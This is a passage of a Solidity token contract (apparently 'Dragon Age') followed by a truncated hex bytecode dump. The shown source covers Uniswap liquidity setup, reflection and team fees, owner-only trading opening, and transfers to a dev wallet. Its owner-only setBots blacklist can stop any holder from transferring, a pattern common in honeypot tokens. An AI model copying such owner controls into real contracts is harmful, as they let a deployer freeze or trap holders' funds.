_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(_uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max); } function openTrading() public onlyOwner(){ require(!tradingOpen, "trading is already open"); swapEnabled = true; tradingOpen = true; } function athResetPercent(uint256 newResetPercent) external onlyOwner() { _ATHResetPercent = newResetPercent; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function manualswap() external { require(_msgSender() == _devWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _devWallet); uint256 contractETHBalance = address(this).balance; _devWallet.transfer(contractETHBalance); } function getPrice() public view returns (uint256) { require(tradingOpen,"trading isn't open"); IUniswapV2Pair pair = IUniswapV2Pair(_uniswapV2Pair); (uint112 token0, uint112 token1, uint32 blockTimestamp) = pair.getReserves(); (uint256 tokenReserves, uint256 ethReserves) = (address(this) < uniswapV2Router.WETH()) ? (token0, token1) : (token1, token0); return ethReserves.mul(10000000000).div(tokenReserves); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _devFee, _ATHFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061016a5760003560e01c80638c0b5e22116100d1578063a9059cbb1161008a578063c3c8cd8011610064578063c3c8cd8014610503578063c9567bf91461051a578063d543dbeb14610531578063dd62ed3e1461055a57610171565b8063a9059cbb14610474578063b515566a146104b1578063c20c66f7146104da57610171565b80638c0b5e22146103865780638da5cb5b146103b157806395d89b41146103dc57806398d5fdca146104075780639e78fb4f14610432578063a8b089821461044957610171565b8063273123b711610123578063273123b71461029c578063313ce567146102c557806361a63d31146102f05780636fc3eaec1461031b57806370a0823114610332578063715018a61461036f57610171565b806306fdde0314610176578063095ea7b3146101a157806315133c49146101de57806318160ddd1461020957806321588d901461023457806323b872dd1461025f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610597565b6040516101989190613646565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906130a8565b6105d4565b6040516101d5919061362b565b60405180910390f35b3480156101ea57600080fd5b506101f36105f2565b6040516102009190613868565b60405180910390f35b34801561021557600080fd5b5061021e6105fc565b60405161022b9190613868565b60405180910390f35b34801561024057600080fd5b5061024961060e565b604051610256919061355d565b60405180910390f35b34801561026b57600080fd5b5061028660048036038101906102819190613059565b610638565b604051610293919061362b565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be9190612fcb565b610711565b005b3480156102d157600080fd5b506102da610801565b6040516102e79190613906565b60405180910390f35b3480156102fc57600080fd5b5061030561080a565b6040516103129190613868565b60405180910390f35b34801561032757600080fd5b50610330610814565b005b34801561033e57600080fd5b5061035960048036038101906103549190612fcb565b6108e6565b6040516103669190613868565b60405180910390f35b34801561037b57600080fd5b50610384610937565b005b34801561039257600080fd5b5061039b610a8a565b6040516103a89190613868565b60405180910390f35b3480156103bd57600080fd5b506103c6610a94565b6040516103d3919061355d565b60405180910390f35b3480156103e857600080fd5b506103f1610abd565b6040516103fe9190613646565b60405180910390f35b34801561041357600080fd5b5061041c610afa565b6040516104299190613868565b60405180910390f35b34801561043e57600080fd5b50610447610d33565b005b34801561045557600080fd5b5061045e611230565b60405161046b919061355d565b60405180910390f35b34801561048057600080fd5b5061049b600480360381019061049691906130a8565b61125a565b6040516104a8919061362b565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d391906130e4565b611278565b005b3480156104e657600080fd5b5061050160048036038101906104fc919061319d565b6113c8565b005b34801561050f57600080fd5b50610518611467565b005b34801561052657600080fd5b5061052f6114e1565b005b34801561053d57600080fd5b506105586004803603810190610553919061319d565b6115fe565b005b34801561056657600080fd5b50610581600480360381019061057c919061301d565b611748565b60405161058e9190613868565b60405180910390f35b60606040518060400160405280600a81526020017f447261676f6e2041676500000000000000000000000000000000000000000000815250905090565b60006105e86105e16117cf565b84846117d7565b6001905092915050565b6000600c54905090565b600069d3c21bcecceda1000000905090565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610645848484611a25565b610706846106516117cf565b610701856040518060600160405280602881526020016140fc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b76117cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123029092919063ffffffff16565b6117d7565b600190509392505050565b6107196117cf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079d906137a8565b60405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b6000600b54905090565b600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108556117cf565b73ffffffffffffffffffffffffffffffffffffffff161461087557600080fd5b6000479050600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156108e2573d6000803e3d6000fd5b5050565b6000610930600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612366565b9050919050565b61093f6117cf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c3906137a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600e54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f445241474f4e4147450000000000000000000000000000000000000000000000815250905090565b6000601360149054906101000a900460ff16610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290613848565b60405180910390fd5b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610bbd57600080fd5b505afa158015610bd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf5919061314e565b925092509250600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c6657600080fd5b505afa158015610c7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9e9190612ff4565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1610610cd7578385610cda565b84845b6dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150610d2882610d1a6402540be400846123d490919063ffffffff16565b61244f90919063ffffffff16565b965050505050505090565b610d3b6117cf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf906137a8565b60405180910390fd5b601360149054906101000a900460ff1615610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f90613828565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ea930601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006117d7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610eef57600080fd5b505afa158015610f03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f279190612ff4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8957600080fd5b505afa158015610f9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc19190612ff4565b6040518363ffffffff1660e01b8152600401610fde929190613578565b602060405180830381600087803b158015610ff857600080fd5b505af115801561100c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110309190612ff4565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110b9306108e6565b6000806110c4610a94565b426040518863ffffffff1660e01b81526004016110e6969594939291906135ca565b6060604051808303818588803b1580156110ff57600080fd5b505af1158015611113573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061113891906131c6565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111da9291906135a1565b602060405180830381600087803b1580156111f457600080fd5b505af1158015611208573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122c9190613125565b5050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061126e6112676117cf565b8484611a25565b6001905092915050565b6112806117cf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461130d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611304906137a8565b60405180910390fd5b60005b81518110156113c457600160086000848481518110611358577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113bc90613c07565b915050611310565b5050565b6113d06117cf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611454906137a8565b60405180910390fd5b80600d8190555050565b600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114a86117cf565b73ffffffffffffffffffffffffffffffffffffffff16146114c857600080fd5b60006114d3306108e6565b90506114de81612499565b50565b6114e96117cf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156d906137a8565b60405180910390fd5b601360149054906101000a900460ff16156115c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bd90613828565b60405180910390fd5b6001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b6116066117cf565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a906137a8565b60405180910390fd5b600081116116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd90613708565b60405180910390fd5b61170660646116f88369d3c21bcecceda10000006123d490919063ffffffff16565b61244f90919063ffffffff16565b600e819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600e5460405161173d9190613868565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183e90613808565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ae906136c8565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461193a57601360149054906101000a900460ff16611939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193090613748565b60405180910390fd5b5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a189190613868565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8c906137e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc90613668565b60405180910390fd5b60008111611b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3f906137c8565b60405180910390fd5b611b50610a94565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bbe5750611b8e610a94565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156122f257600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c675750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c7057600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d1b5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d715750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ff457601360149054906101000a900460ff16611d8f57600080fd5b600e54811115611dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcb90613688565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4c90613728565b60405180910390fd5b61012c42611e6391906139c7565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060b442611eb391906139c7565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611f00610afa565b9050600b54811115611ff25782601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b81905550611f8e611f7f6064611f71600d54856123d490919063ffffffff16565b61244f90919063ffffffff16565b8261279390919063ffffffff16565b600c819055507f1b23c40005f4d445a417325cc4cc2515cfbe529f49945aa04fec1d79ca3414d2600b54601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051611fe9929190613883565b60405180910390a15b505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156120f2576000600b819055506000601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f1b23c40005f4d445a417325cc4cc2515cfbe529f49945aa04fec1d79ca3414d2600b54601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516120e9929190613883565b60405180910390a15b60006120fd306108e6565b9050601360159054906101000a900460ff1615801561216a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121825750601360169054906101000a900460ff165b156122f05742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ff90613768565b60405180910390fd5b6000612212610afa565b9050600c54811015612271576000600b819055506000601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600c819055505b61227a82612499565b60004790506000811180156122de5750600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156122ed576122ec476127dd565b5b50505b505b6122fd8383836128d8565b505050565b600083831115829061234a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123419190613646565b60405180910390fd5b50600083856123599190613aa8565b9050809150509392505050565b60006009548211156123ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a4906136a8565b60405180910390fd5b60006123b76128e8565b90506123cc818461244f90919063ffffffff16565b915050919050565b6000808314156123e75760009050612449565b600082846123f59190613a4e565b90508284826124049190613a1d565b14612444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243b90613788565b60405180910390fd5b809150505b92915050565b600061249183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612913565b905092915050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156124f7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156125255781602001602082028036833780820191505090505b5090503081600081518110612563577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260557600080fd5b505afa158015612619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061263d9190612ff4565b81600181518110612677577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126de30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117d7565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127429594939291906138ac565b600060405180830381600087803b15801561275c57600080fd5b505af1158015612770573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60006127d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612302565b905092915050565b600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61282d60028461244f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612858573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6128a960088461244f90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156128d4573d6000803e3d6000fd5b5050565b6128e3838383612976565b505050565b60008060006128f5612b41565b9150915061290c818361244f90919063ffffffff16565b9250505090565b6000808311829061295a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129519190613646565b60405180910390fd5b50600083856129699190613a1d565b9050809150509392505050565b60008060008060008061298887612ba6565b9550955095509550955095506129e686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a7b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ac781612c8c565b612ad18483612d49565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b2e9190613868565b60405180910390a3505050505050505050565b60008060006009549050600069d3c21bcecceda10000009050612b7969d3c21bcecceda100000060095461244f90919063ffffffff16565b821015612b995760095469d3c21bcecceda1000000935093505050612ba2565b81819350935050505b9091565b6000806000806000806000806000612be38a600f60009054906101000a900460ff1660ff16600f60019054906101000a900460ff1660ff16612d83565b9250925092506000612bf36128e8565b90506000806000612c068e878787612e19565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000808284612c3d91906139c7565b905083811015612c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c79906136e8565b60405180910390fd5b8091505092915050565b6000612c966128e8565b90506000612cad82846123d490919063ffffffff16565b9050612d0181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c2e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612d5e8260095461279390919063ffffffff16565b600981905550612d7981600a54612c2e90919063ffffffff16565b600a819055505050565b600080600080612daf6064612da1888a6123d490919063ffffffff16565b61244f90919063ffffffff16565b90506000612dd96064612dcb888b6123d490919063ffffffff16565b61244f90919063ffffffff16565b90506000612e0282612df4858c61279390919063ffffffff16565b61279390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612e3285896123d490919063ffffffff16565b90506000612e4986896123d490919063ffffffff16565b90506000612e6087896123d490919063ffffffff16565b90506000612e8982612e7b858761279390919063ffffffff16565b61279390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612eb5612eb084613946565b613921565b90508083825260208201905082856020860282011115612ed457600080fd5b60005b85811015612f045781612eea8882612f0e565b845260208401935060208301925050600181019050612ed7565b5050509392505050565b600081359050612f1d81614088565b92915050565b600081519050612f3281614088565b92915050565b600082601f830112612f4957600080fd5b8135612f59848260208601612ea2565b91505092915050565b600081519050612f718161409f565b92915050565b600081519050612f86816140b6565b92915050565b600081359050612f9b816140cd565b92915050565b600081519050612fb0816140cd565b92915050565b600081519050612fc5816140e4565b92915050565b600060208284031215612fdd57600080fd5b6000612feb84828501612f0e565b91505092915050565b60006020828403121561300657600080fd5b600061301484828501612f23565b91505092915050565b6000806040838503121561303057600080fd5b600061303e85828601612f0e565b925050602061304f85828601612f0e565b9150509250929050565b60008060006060848603121561306e57600080fd5b600061307c86828701612f0e565b935050602061308d86828701612f0e565b925050604061309e86828701612f8c565b9150509250925092565b600080604083850312156130bb57600080fd5b60006130c985828601612f0e565b92505060206130da85828601612f8c565b9150509250929050565b6000602082840312156130f657600080fd5b600082013567ffffffffffffffff81111561311057600080fd5b61311c84828501612f38565b91505092915050565b60006020828403121561313757600080fd5b600061314584828501612f62565b91505092915050565b60008060006060848603121561316357600080fd5b600061317186828701612f77565b935050602061318286828701612f77565b925050604061319386828701612fb6565b9150509250925092565b6000602082840312156131af57600080fd5b60006131bd84828501612f8c565b91505092915050565b6000806000606084860312156131db57600080fd5b60006131e986828701612fa1565b93505060206131fa86828701612fa1565b925050604061320b86828701612fa1565b9150509250925092565b6000613221838361323c565b60208301905092915050565b61323681613b5b565b82525050565b61324581613adc565b82525050565b61325481613adc565b82525050565b600061326582613982565b61326f81856139a5565b935061327a83613972565b8060005b838110156132ab5781516132928882613215565b975061329d83613998565b92505060018101905061327e565b5085935050505092915050565b6132c181613aee565b82525050565b6132d081613b6d565b82525050565b60006132e18261398d565b6132eb81856139b6565b93506132fb818560208601613ba3565b61330481613cdd565b840191505092915050565b600061331c6023836139b6565b915061332782613cee565b604082019050919050565b600061333f6020836139b6565b915061334a82613d3d565b602082019050919050565b6000613362602a836139b6565b915061336d82613d66565b604082019050919050565b60006133856022836139b6565b915061339082613db5565b604082019050919050565b60006133a8601b836139b6565b91506133b382613e04565b602082019050919050565b60006133cb601d836139b6565b91506133d682613e2d565b602082019050919050565b60006133ee6015836139b6565b91506133f982613e56565b602082019050919050565b60006134116014836139b6565b915061341c82613e7f565b602082019050919050565b60006134346010836139b6565b915061343f82613ea8565b602082019050919050565b60006134576021836139b6565b915061346282613ed1565b604082019050919050565b600061347a6020836139b6565b915061348582613f20565b602082019050919050565b600061349d6029836139b6565b91506134a882613f49565b604082019050919050565b60006134c06025836139b6565b91506134cb82613f98565b604082019050919050565b60006134e36024836139b6565b91506134ee82613fe7565b604082019050919050565b60006135066017836139b6565b915061351182614036565b602082019050919050565b60006135296012836139b6565b91506135348261405f565b602082019050919050565b61354881613b34565b82525050565b61355781613b4e565b82525050565b6000602082019050613572600083018461324b565b92915050565b600060408201905061358d600083018561324b565b61359a602083018461324b565b9392505050565b60006040820190506135b6600083018561324b565b6135c3602083018461353f565b9392505050565b600060c0820190506135df600083018961324b565b6135ec602083018861353f565b6135f960408301876132c7565b61360660608301866132c7565b613613608083018561324b565b61362060a083018461353f565b979650505050505050565b600060208201905061364060008301846132b8565b92915050565b6000602082019050818103600083015261366081846132d6565b905092915050565b600060208201905081810360008301526136818161330f565b9050919050565b600060208201905081810360008301526136a181613332565b9050919050565b600060208201905081810360008301526136c181613355565b9050919050565b600060208201905081810360008301526136e181613378565b9050919050565b600060208201905081810360008301526137018161339b565b9050919050565b60006020820190508181036000830152613721816133be565b9050919050565b60006020820190508181036000830152613741816133e1565b9050919050565b6000602082019050818103600083015261376181613404565b9050919050565b6000602082019050818103600083015261378181613427565b9050919050565b600060208201905081810360008301526137a18161344a565b9050919050565b600060208201905081810360008301526137c18161346d565b9050919050565b600060208201905081810360008301526137e181613490565b9050919050565b60006020820190508181036000830152613801816134b3565b9050919050565b60006020820190508181036000830152613821816134d6565b9050919050565b60006020820190508181036000830152613841816134f9565b9050919050565b600060208201905081810360008301526138618161351c565b9050919050565b600060208201905061387d6000830